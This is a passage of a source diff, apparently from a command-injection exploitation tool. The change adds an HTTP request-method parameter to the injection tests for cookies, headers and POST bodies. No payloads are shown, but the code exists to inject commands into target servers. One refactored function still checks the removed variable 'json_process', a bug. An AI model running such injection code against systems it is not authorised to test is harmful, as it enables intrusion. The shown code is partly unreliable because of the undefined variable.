vuln_parameter, payload) + how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) + how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) + how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) + how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) + how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) @@ -402,23 +402,23 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) + how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) + how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) + how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) + how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) + how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) @@ -468,23 +468,23 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) + how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) + how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) + how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) + how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) + how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index e07e28a83b..821547cc68 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -64,7 +64,7 @@ def exit(): """ Detection of WAF/IPS protection. """ -def check_waf(url): +def check_waf(url, http_request_method): payload = _urllib.parse.quote(settings.WAF_CHECK_PAYLOAD) info_msg = "Checking if the target is protected by some kind of WAF/IPS." print(settings.print_info_msg(info_msg)) @@ -77,9 +77,9 @@ def check_waf(url): payload = settings.PARAMETER_DELIMITER + payload url = url + payload if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode()) + request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(), method=http_request_method) else: - request = _urllib.request.Request(url) + request = _urllib.request.Request(url, method=http_request_method) return request, url """ @@ -1773,24 +1773,6 @@ def is_XML_check(parameter): except ValueError as err_msg: return False -# Process with SOAP/XML data -def process_xml_data(): - while True: - info_msg = "SOAP/XML data found in POST data." - message = info_msg - message += " Do you want to process it? [Y/n] > " - xml_process = common.read_input(message, default="Y", check_batch=True) - if xml_process in settings.CHOICE_YES: - return True - elif xml_process in settings.CHOICE_NO: - settings.IGNORE_USER_DEFINED_POST_DATA = True - return False - elif xml_process in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(xml_process) - pass - #Check if INJECT_TAG is enclosed in quotes (in json data) def check_quotes_json_data(data): if not json.dumps(settings.INJECT_TAG) in data: @@ -1814,15 +1796,15 @@ def is_JSON_check(parameter): return False # Process with JSON data -def process_json_data(): +def process_data(data_type, http_request_method): while True: - info_msg = "JSON data found in POST data." + info_msg = str(data_type) + " data found in " + str(http_request_method) + " body." message = info_msg message += " Do you want to process it? [Y/n] > " - json_process = common.read_input(message, default="Y", check_batch=True) - if json_process in settings.CHOICE_YES: + process = common.read_input(message, default="Y", check_batch=True) + if process in settings.CHOICE_YES: return True - elif json_process in settings.CHOICE_NO: + elif process in settings.CHOICE_NO: settings.IGNORE_USER_DEFINED_POST_DATA = True return False elif json_process in settings.CHOICE_QUIT: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 8d738c5904..558c3b4d15 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -112,7 +112,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, else: if settings.INJECT_TAG in url: tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(tmp_url, data) + request = _urllib.request.Request(tmp_url, data, method=http_request_method) if cookie: request.add_header(settings.COOKIE, cookie) if inject_http_headers: @@ -173,7 +173,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t else: if settings.INJECT_TAG in url: tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(tmp_url, data) + request = _urllib.request.Request(tmp_url, data, method=http_request_method) if cookie: request.add_header(settings.COOKIE, cookie) if inject_http_headers: @@ -273,8 +273,9 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time basic_level_checks() inject_http_headers = False - - if check_parameter.lower() in url : + if menu.options.method: + http_request_method = menu.options.method + elif check_parameter.lower() in url : http_request_method = settings.HTTPMETHOD.GET elif check_parameter.lower() not in menu.options.data: http_request_method = settings.HTTPMETHOD.POST @@ -300,7 +301,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time check_parameter = " '" + check_parameter + "'" # Estimating the response time (in seconds) - timesec, url_time_response = requests.estimate_response_time(url, timesec) + timesec, url_time_response = requests.estimate_response_time(url, timesec, http_request_method) # Load modules modules_handler.load_modules(url, http_request_method, filename) @@ -657,7 +658,7 @@ def perform_checks(url, http_request_method, filename): # Check if authentication is needed. if menu.options.auth_url and menu.options.auth_data: # Do the authentication process. - authentication.authentication_process() + authentication.authentication_process(http_request_method) try: # Check if authentication page is the same with the next (injection) URL if _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read() == _urllib.request.urlopen(menu.options.auth_url, timeout=settings.TIMEOUT).read(): diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 3a4e2e3bf2..39665882eb 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -133,31 +133,31 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - response = cb_injector.cookie_injection_test(url, vuln_parameter, payload) + response = cb_injector.cookie_injection_test(url, vuln_parameter, payload, http_request_method) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload) + response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - response = cb_injector.referer_injection_test(url, vuln_parameter, payload) + response = cb_injector.referer_injection_test(url, vuln_parameter, payload, http_request_method) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) - response = cb_injector.host_injection_test(url, vuln_parameter, payload) + response = cb_injector.host_injection_test(url, vuln_parameter, payload, http_request_method) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - response = cb_injector.custom_header_injection_test(url, vuln_parameter, payload) + response = cb_injector.custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: # Check if target host is vulnerable. diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 409025669f..598a672c70 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -53,9 +53,9 @@ def injection_test(payload, http_request_method, url): vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(target) + request = _urllib.request.Request(target, method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -81,7 +81,7 @@ def injection_test(payload, http_request_method, url): data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -121,32 +121,32 @@ def injection_test_results(response, TAG, randvcalc): """ Check if target host is vulnerable. (Cookie-based injection) """ -def cookie_injection_test(url, vuln_parameter, payload): - return requests.cookie_injection(url, vuln_parameter, payload) +def cookie_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.cookie_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (User-Agent-based injection) """ -def user_agent_injection_test(url, vuln_parameter, payload): - return requests.user_agent_injection(url, vuln_parameter, payload) +def user_agent_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.user_agent_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Referer-based injection) """ -def referer_injection_test(url, vuln_parameter, payload): - return requests.referer_injection(url, vuln_parameter, payload) +def referer_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.referer_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Host-based injection) """ -def host_injection_test(url, vuln_parameter, payload): - return requests.host_injection(url, vuln_parameter, payload) +def host_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.host_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Custom header injection) """ -def custom_header_injection_test(url, vuln_parameter, payload): - return requests.custom_header_injection(url, vuln_parameter, payload) +def custom_header_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.custom_header_injection(url, vuln_parameter, payload, http_request_method) """ The main command injection exploitation. @@ -180,23 +180,23 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - response = cookie_injection_test(url, vuln_parameter, payload) + response = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - response = user_agent_injection_test(url, vuln_parameter, payload) + response = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - response = referer_injection_test(url, vuln_parameter, payload) + response = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - response = host_injection_test(url, vuln_parameter, payload) + response = host_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - response = custom_header_injection_test(url, vuln_parameter, payload) + response = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: # Check if defined POST data @@ -207,9 +207,9 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(target) + request = _urllib.request.Request(target, method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -235,7 +235,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index efa2c4ea5b..092135920f 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -145,31 +145,31 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - response = eb_injector.cookie_injection_test(url, vuln_parameter, payload) + response = eb_injector.cookie_injection_test(url, vuln_parameter, payload, http_request_method) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload) + response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - response = eb_injector.referer_injection_test(url, vuln_parameter, payload) + response = eb_injector.referer_injection_test(url, vuln_parameter, payload, http_request_method) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) - response = eb_injector.host_injection_test(url, vuln_parameter, payload) + response = eb_injector.host_injection_test(url, vuln_parameter, payload, http_request_method) # Custom HTTP header injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload) + response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: found_cookie_injection = False diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 1d00fe19a5..ae5bde5709 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -48,9 +48,9 @@ def injection_test(payload, http_request_method, url): vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(target) + request = _urllib.request.Request(target, method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -76,7 +76,7 @@ def injection_test(payload, http_request_method, url): data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -107,32 +107,32 @@ def injection_test_results(response, TAG, randvcalc): """ Check if target host is vulnerable. (Cookie-based injection) """ -def cookie_injection_test(url, vuln_parameter, payload): - return requests.cookie_injection(url, vuln_parameter, payload) +def cookie_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.cookie_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (User-Agent-based injection) """ -def user_agent_injection_test(url, vuln_parameter, payload): - return requests.user_agent_injection(url, vuln_parameter, payload) +def user_agent_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.user_agent_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Referer-based injection) """ -def referer_injection_test(url, vuln_parameter, payload): - return requests.referer_injection(url, vuln_parameter, payload) +def referer_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.referer_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Host-based injection) """ -def host_injection_test(url, vuln_parameter, payload): - return requests.host_injection(url, vuln_parameter, payload) +def host_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.host_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Custom header injection) """ -def custom_header_injection_test(url, vuln_parameter, payload): - return requests.custom_header_injection(url, vuln_parameter, payload) +def custom_header_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.custom_header_injection(url, vuln_parameter, payload, http_request_method) """ The main command injection exploitation. @@ -168,23 +168,23 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - response = cookie_injection_test(url, vuln_parameter, payload) + response = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - response = user_agent_injection_test(url, vuln_parameter, payload) + response = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - response = referer_injection_test(url, vuln_parameter, payload) + response = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - response = host_injection_test(url, vuln_parameter, payload) + response = host_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - response = custom_header_injection_test(url, vuln_parameter, payload) + response = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: # Check if defined POST data @@ -195,9 +195,9 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(target) + request = _urllib.request.Request(target, method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -223,7 +223,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index d6fae91369..c47b871333 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -293,31 +293,31 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - response = fb_injector.cookie_injection_test(url, vuln_parameter, payload) + response = fb_injector.cookie_injection_test(url, vuln_parameter, payload, http_request_method) # User-Agent HTTP Header Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload) + response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Referer HTTP Header Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to Referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - response = fb_injector.referer_injection_test(url, vuln_parameter, payload) + response = fb_injector.referer_injection_test(url, vuln_parameter, payload, http_request_method) # Host HTTP Header Injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to Host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) - response = fb_injector.host_injection_test(url, vuln_parameter, payload) + response = fb_injector.host_injection_test(url, vuln_parameter, payload, http_request_method) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload) + response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: # Check if target host is vulnerable. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 1acf02503d..b1f0ade8cf 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -56,9 +56,9 @@ def injection_test(payload, http_request_method, url): target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(target) + request = _urllib.request.Request(target, method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -87,7 +87,7 @@ def injection_test(payload, http_request_method, url): data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -106,32 +106,32 @@ def injection_test(payload, http_request_method, url): """ Check if target host is vulnerable. (Cookie-based injection) """ -def cookie_injection_test(url, vuln_parameter, payload): - return requests.cookie_injection(url, vuln_parameter, payload) +def cookie_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.cookie_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (User-Agent-based injection) """ -def user_agent_injection_test(url, vuln_parameter, payload): - return requests.user_agent_injection(url, vuln_parameter, payload) +def user_agent_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.user_agent_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Referer-based injection) """ -def referer_injection_test(url, vuln_parameter, payload): - return requests.referer_injection(url, vuln_parameter, payload) +def referer_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.referer_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Host-based injection) """ -def host_injection_test(url, vuln_parameter, payload): - return requests.host_injection(url, vuln_parameter, payload) +def host_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.host_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Custom header injection) """ -def custom_header_injection_test(url, vuln_parameter, payload): - return requests.custom_header_injection(url, vuln_parameter, payload) +def custom_header_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.custom_header_injection(url, vuln_parameter, payload, http_request_method) """ The main command injection exploitation. @@ -172,23 +172,23 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - response = cookie_injection_test(url, vuln_parameter, payload) + response = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - response = user_agent_injection_test(url, vuln_parameter, payload) + response = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - response = referer_injection_test(url, vuln_parameter, payload) + response = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - response = host_injection_test(url, vuln_parameter, payload) + response = host_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - response = custom_header_injection_test(url, vuln_parameter, payload) + response = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: # Check if defined POST data @@ -199,9 +199,9 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(target) + request = _urllib.request.Request(target, method=http_request_method) # Check if defined extra headers. headers.do_check(request) # Get the response of the request @@ -227,7 +227,7 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 408c7152a3..bd6e4c3605 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -164,31 +164,31 